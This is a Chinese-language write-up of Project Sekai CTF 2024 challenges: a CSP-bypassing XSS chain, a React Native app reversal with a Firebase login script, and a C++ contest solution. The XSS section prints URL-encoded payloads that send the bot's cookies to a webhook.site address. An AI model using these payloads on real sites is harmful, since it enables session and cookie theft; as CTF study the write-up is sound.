1570 字
8 分鐘
Project Sekai CTF 2024 Writeup by ICEDTEA

Project Sekai CTF 2024 Writeup by ICEDTEA#

WEB#

Tagless#

Solver: Whale120

一道XSS的題目
app.py

from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse

app = Flask(__name__, static_folder='static')

@app.after_request
def add_security_headers(resp):
    resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
    return resp


@app.route('/')
def index():
    return render_template('index.html')

@app.route("/report", methods=["POST"])
def report():
    bot = Bot()
    url = request.form.get('url')
    if url:
        try:
            parsed_url = urlparse(url)
        except Exception:
            return {"error": "Invalid URL."}, 400
        if parsed_url.scheme not in ["http", "https"]:
            return {"error": "Invalid scheme."}, 400
        if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
            return {"error": "Invalid host."}, 401
        
        bot.visit(url)
        bot.close()
        return {"visited":url}, 200
    else:
        return {"error":"URL parameter is missing!"}, 400
    
@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"



if __name__ == '__main__':
    app.run(debug=True)

bot的部分就是再正常不過的Chrome無頭瀏覽器設定好cookie(flag)後造訪。
先來看csp:

script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;

script-src的部分設定了self,再仔細看看網站404的功能會發現他完整輸出了path,那不就跟利用jsonp bypass csp(link)的trick有異曲同工之妙,簡單舉個例子:
在這裡,我可以透過造訪http://127.0.0.1:5000/**/alert(1);//.js獲得一段像這樣的內容:
tagless_0
這不就裸裸的js codeㄌ
引入js這塊算解決了…嗎?
答案是否定的,看看index.html和app.js
index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Tagless</title>
    <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/[email protected]/css/nes.css" />
    <style>
        
        body, html {
            height: 100%;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #212529;
            color: #fff;
            font-family: 'Press Start 2P', cursive;
        }
        .container {
            text-align: center;
        }
        .nes-field, .nes-btn {
            margin-top: 20px;
        }
        iframe {
            width: 100%;
            height: 300px;
            border: none;
            margin-top: 20px;
            color: #212529;
            background-color: #FFF; 
            font-family: 'Press Start 2P', cursive;
        }
        .nes-container.is-dark.with-title {
            background-color: #212529; 
        }
    </style>
</head>
<body>

<div class="container">
    <section class="nes-container with-title is-centered is-dark">
        <h2 class="title">Tagless Display</h2>
        <div class="nes-field is-inline">
            <label for="userInput" class="nes-text is-primary">Your Message:</label>
            <input type="text" id="userInput" class="nes-input" placeholder="Hello, Retro World!">
        </div>
        <button id="displayButton" type="button" class="nes-btn is-primary">Display</button>
        <div class="output">
            <iframe id="displayFrame"></iframe>
        </div>
    </section>
</div>

<script src="/static/app.js"></script>


</body>
</html>

怎麼樣,看起來是不是會被塞進iframe,那iframe有個特性,就是所有被執行的javascript必須是被嵌入的網站本身有的,或者在iframe裡面有個 srcdoc 的選項,詳細資訊可以看這篇:huli大大的筆記
不過更重要的,先來看app.js!
app.js

document.addEventListener("DOMContentLoaded", function() {

    var displayButton = document.getElementById("displayButton");
    
    displayButton.addEventListener("click", function() {
        displayInput();
    });
});

function sanitizeInput(str) {
    str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, ''); 
    return str;
}

function autoDisplay() {
    const urlParams = new URLSearchParams(window.location.search);
    const input = urlParams.get('auto_input');
    displayInput(input);
}

function displayInput(input) {
    const urlParams = new URLSearchParams(window.location.search);
    const fulldisplay = urlParams.get('fulldisplay');

    var sanitizedInput = "";
    if (input) {
        sanitizedInput = sanitizeInput(input);
    } else {
        var userInput = document.getElementById("userInput").value;
        sanitizedInput = sanitizeInput(userInput);
    }
    var iframe = document.getElementById("displayFrame");
    var iframeContent = `
        <!DOCTYPE html>
        <head>
            <title>Display</title>
            <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
            <style>
                body {
                    font-family: 'Press Start 2P', cursive;
                    color: #212529; 
                    padding: 10px; 
                }
            </style>
        </head>
        <body>
            ${sanitizedInput}
        </body>
    `;
    iframe.contentWindow.document.open('text/html', 'replace');
    iframe.contentWindow.document.write(iframeContent);
    iframe.contentWindow.document.close();

    if (fulldisplay && sanitizedInput) {
        var tab = open("/")
        tab.document.write(iframe.contentWindow.document.documentElement.innerHTML);
    }
}
autoDisplay(); 

呵呵,有趣了,所有的html tag都會被過濾,不過其實在瀏覽器上可以使用<img src='meowmeow.jpg'之類的方法插入一個html tag,但也只有一個可以插
那不管,先來想想用現有的材料可以怎麼玩ㄅ
一開始的想法是利用 iframe 的 srcdoc inject 一段javascript程式碼就好,防止html標籤被過濾甚至可以用 src 再加上data:text/html;base64,把他編碼,於是先嘗試這段payload:

http://127.0.0.1:5000/?auto_input=%3Ciframe%20src=%22data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjE6NTAwMC8qKi9hbGVydCgxKTsvLy5qcyIvPg==%22

<script src="http://127.0.0.1:5000/**/alert(1);//.js" ></script>base64 encode,然後自己塞一個初始化就有js的frame就彈出來ㄌ,然而…有這麼容易嗎?
tagless_1
並沒有,再塞入像是 <script src="http://127.0.0.1:5000/**/location.href='https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie;//.js" ></script> 這樣的payload試著偷cookie後就發現轉不出去,為什麼呢?
tagless_2
因為iframe內部的location並不是網站的location,導致他根本不能吃網站的location…
回去看一下404頁面,其實他能做的不只有任意的js,在瀏覽器裡面,他會根據前面的內容決定用什麼方法Render資訊(譬如說xml, html還是單純文字輸出),所以最後的做法就是把xss透過404 page inject進去,最後再去iframe他,規避掉<>過濾的方法可以用urlencode就好:
final payload:

http://127.0.0.1:5000/?auto_input=%3Ciframe%20src%3D%22http%3A%2F%2F127.0.0.1%3A5000%2F%26lt%3Bscript%20src%3D%26quot%3Bhttp%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2F%20location.href%3D%26%2339%3Bhttps%3A%2F%2Fwebhook.site%2Fd37cfcd6-38b3-4333-affe-c5ca094a0f5a%2Fa%26%2339%3B%2Bdocument.cookie%3B%2F%2F.js%26quot%3B%26gt%3B%26lt%3B%2Fscript%26gt%3B%22

然後再url encode一次(bot會把他先decode再送去瀏覽器)
欸…不是啊,所以前面iframe那麼多在幹嘛?
直接丟一個http://127.0.0.1:5000/<script src="http://127.0.0.1:5000/**/ fetch('https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie);//.js"></script>結束這回合不就得了…?
tagless_3

喔對,他沒給bot GUI介面,自己發CURL
tagless_4
好啦因為走遠路多學了好多東西,分享一下>W<

FLAG: SEKAI{w4rmUpwItHoUtTags}

Reverse#

Crack Me#

Solver: Whale120

先丟 decompile(link)
首先起手式逛了一下/sources/com/SekaiCTF/CrackMe,沒有東西…
痾…直接裝起來看ㄅ:
crackme_0
Ok,登入頁面那邊有個是不是Admin的提示,grep一下Admin這個字串找檔案,發現 ./resources/assets/index.android.bundle
參考這篇(link)
拆開來翻找一下找到443.js,看起來蠻有趣的。
觀察這一段程式碼:
crackme_1

上面這段也點了從哪裡抓flag

crackme_2

看起來邏輯長這樣:從477.js initial了app、也會從456.js抓key和iv出來做加密,所以把這些資訊摳出來:
477.js

var c = {
  apiKey: 'AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk',
  authDomain: 'crackme-1b52a.firebaseapp.com',
  projectId: 'crackme-1b52a',
  storageBucket: 'crackme-1b52a.appspot.com',
  messagingSenderId: '544041293350',
  appId: '1:544041293350:web:2abc55a6bb408e4ff838e7',
  measurementId: 'G-RDD86JV32R',
  databaseURL: 'https://crackme-1b52a-default-rtdb.firebaseio.com',
};
exports.default = c;

456.js

var _ = {
  LOGIN: 'LOGIN',
  EMAIL_PLACEHOLDER: '[email protected]',
  PASSWORD_PLACEHOLDER: 'password',
  BEGIN: 'CRACKME',
  SIGNUP: 'SIGN UP',
  LOGOUT: 'LOGOUT',
  KEY: 'react_native_expo_version_47.0.0',
  IV: '__sekaictf2023__',
};
exports.default = _;

先從456.js的資訊還原密碼

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

KEY = 'react_native_expo_version_47.0.0'
IV = '__sekaictf2023__'

key_bytes = KEY.encode('utf-8')
iv_bytes = IV.encode('utf-8')

ciphertext_hex = '03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524'
ciphertext_bytes = binascii.unhexlify(ciphertext_hex)
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
decrypted = unpad(cipher.decrypt(ciphertext_bytes), AES.block_size)
decrypted_password = decrypted.decode('utf-8')
print(decrypted_password)

解出來是s3cr3t_SEKAI_P@ss

拿到資訊之後上網看一下怎麼連,然後求助億下ChatGPT,最後寫出腳本撈flag

import requests
import json

api_key = "AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk"
database_url = "https://crackme-1b52a-default-rtdb.firebaseio.com"

email = "[email protected]"
password = "s3cr3t_SEKAI_P@ss"

login_url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={api_key}"
login_payload = {
    "email": email,
    "password": password,
    "returnSecureToken": True
}

login_response = requests.post(login_url, data=json.dumps(login_payload), headers={"Content-Type": "application/json"})
login_response.raise_for_status()

id_token = login_response.json().get("idToken")
if not id_token:
    raise Exception("Failed to get ID Token")

print("Login successful")

user_id = login_response.json().get("localId")
flag_path = f"/users/{user_id}/flag"

data_url = f"{database_url}{flag_path}.json?auth={id_token}"
response = requests.get(data_url)
if response.status_code == 200:
    flag_data = response.json()
    print(f"Flag: {flag_data}")
else:
    print(f"Error retrieving data: {response.status_code} {response.text}")

crackme_3

Flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???}

PPC#

WTF?
CTF比賽打競程,認真?
,主辦2022的時候的題目沒用到覺得很可惜 …

Miku vs. Machine#

Solver: Whale120

題目敘述:
mikumachine_0

基本上我的做法就是直接構造l=n,然後for迴圈刷過去每場安排每個id的表演者都表演n單位時間直到他現在的總表演時間加起來已經夠了,那就切下一位表演者,簡單的乘除就可以知道這樣的構造一定會對。
solve.cpp

#include<bits/stdc++.h>
using namespace std;
void solve(){
    int n, m, cur, amt;
    cin >> n >> m;
    amt=m;
    cur=1;
    cout << n << '\n';
    for(int i=1;i<=m;i++){
        if(amt >= n){
            cout << n << ' ' << cur << ' ' << 0 << ' ' << cur << '\n';
            amt-=n;
        }
        else{
            cout << amt << ' ' << cur << ' ' << n-amt << ' ' << cur+1 << '\n';
            cur++;
            amt=m-(n-amt);
        }
    }
}
int main(){
    int t;
    cin >> t;
    while(t--){
        solve();
    }
    return 0;
}

mikumachine_1

Flag: SEKAI{t1nyURL_th1s:_6d696b75766d}

Project Sekai CTF 2024 Writeup by ICEDTEA
https://ic3dt3a.org/posts/2024pjskctf/
作者
ICEDTEA
發佈於
2024-08-28
授權協議
CC BY-NC-SA 4.0